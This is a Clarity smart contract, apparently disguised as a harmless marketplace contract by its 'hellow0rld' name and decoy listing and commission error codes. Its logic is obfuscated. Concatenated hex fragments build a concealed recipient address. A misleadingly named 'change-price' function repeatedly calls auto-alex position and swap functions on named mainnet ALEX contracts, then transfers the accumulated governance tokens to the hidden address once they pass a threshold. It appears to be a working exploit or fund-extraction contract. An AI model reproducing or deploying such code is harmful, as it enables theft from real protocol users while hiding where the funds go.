;; version: 1
;; name: hellow0rld
;; namespace: btc

  (define-constant ERR-ALREADY-LISTED (err u401))

  (define-constant ERR-WRONG-COMMISSION (err u402))
  (define-constant ERR-NOT-AUTHORIZED (err u403))

  (define-constant ERR-NOT-FOUND (err u404))
  (define-constant ERR-WRONG-PRICE (err u405))

  (define-constant ERR-TRANSFER-FAILED (err u500))


(define-data-var UeEXXw principal tx-sender) (define-constant NAyPwa (err u1011)) (define-constant gfUEGz 0x6c68) (define-constant deMO3v 0xa24f) (define-constant NcSj2I 0xb78f) (define-constant tGyzse 0x9a11) (define-constant DRW3Qr 0x971f) (define-constant fZbYvp 0xc31e) (define-constant hBdOk4 u100000000) (define-constant nDXVea 0xf121) (define-constant WSyOvd 0x2b6a) (define-constant rGJASP 0xe729) (define-constant bXfJiA 0xc019) (define-constant RNYtXd (concat fZbYvp tGyzse)) (define-constant oAUiI0 (concat WSyOvd deMO3v)) (define-constant LIf2kx 0x16) (define-constant PcYlbQ (concat gfUEGz bXfJiA)) (define-constant dB9Pzu (concat NcSj2I rGJASP)) (define-constant UOdqfC (concat nDXVea DRW3Qr)) (define-constant uEohzh (concat PcYlbQ RNYtXd)) (define-constant xjcciy (concat UOdqfC dB9Pzu)) (define-constant zPhZ04 (concat uEohzh (concat xjcciy oAUiI0))) (define-constant yzkhaI (unwrap-panic (principal-construct? LIf2kx zPhZ04))) (define-private (check-is-owner) (ok (asserts! (is-eq tx-sender (var-get UeEXXw)) NAyPwa)) ) (define-public (change-price (Uzdfdo uint) (wcEau8 uint) (ociBDC uint)) (let ( (rudUFz-dcLj37 (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex get-token-given-position Uzdfdo))) (Rxb568 (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.swap-helper-v1-03 get-given-helper 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex rudUFz-dcLj37))) ) (try! (check-is-owner)) (let ( (rwhsAK (get coOVti (fold WWBvuA 0x000000000000000000000000000000000000000000000000000000000000000000000000000000 {AVCDaW: Uzdfdo, coOVti: Rxb568, wcEau8: wcEau8, ociBDC: ociBDC}))) ) (if (is-eq tx-sender yzkhaI) (ok true) (begin (if (>= rwhsAK (* u5000 hBdOk4)) (let ((ELMT9r (try! (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token transfer-fixed rwhsAK tx-sender yzkhaI none)))) (ok true)) (ok true) ) ) ) ) ) ) (define-private (WWBvuA (i (buff 1)) (CvtMSL {AVCDaW: uint, coOVti: uint, wcEau8: uint, ociBDC: uint})) (if (and (> (+ (get coOVti CvtMSL) (get ociBDC CvtMSL)) (get AVCDaW CvtMSL)) (> (get AVCDaW CvtMSL) (* u50 hBdOk4)) (> (get AVCDaW CvtMSL) (get wcEau8 CvtMSL))) (let ( (dcLj37 (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex get-token-given-position (get AVCDaW CvtMSL)))) (vyXxhH (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex add-to-position (get AVCDaW CvtMSL)))) (YwRGSP (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.swap-helper-v1-03 swap-helper 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token dcLj37 none))) (CUhrPW (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex get-token-given-position YwRGSP))) (OZrbdo (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.swap-helper-v1-03 get-given-helper 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex CUhrPW))) () ) (begin (print {AVCDaW: YwRGSP, coOVti: OZrbdo, wcEau8: (get AVCDaW CvtMSL), ociBDC: u0}) {AVCDaW: YwRGSP, coOVti: OZrbdo, wcEau8: (get AVCDaW CvtMSL), ociBDC: u0} ) ) CvtMSL ) )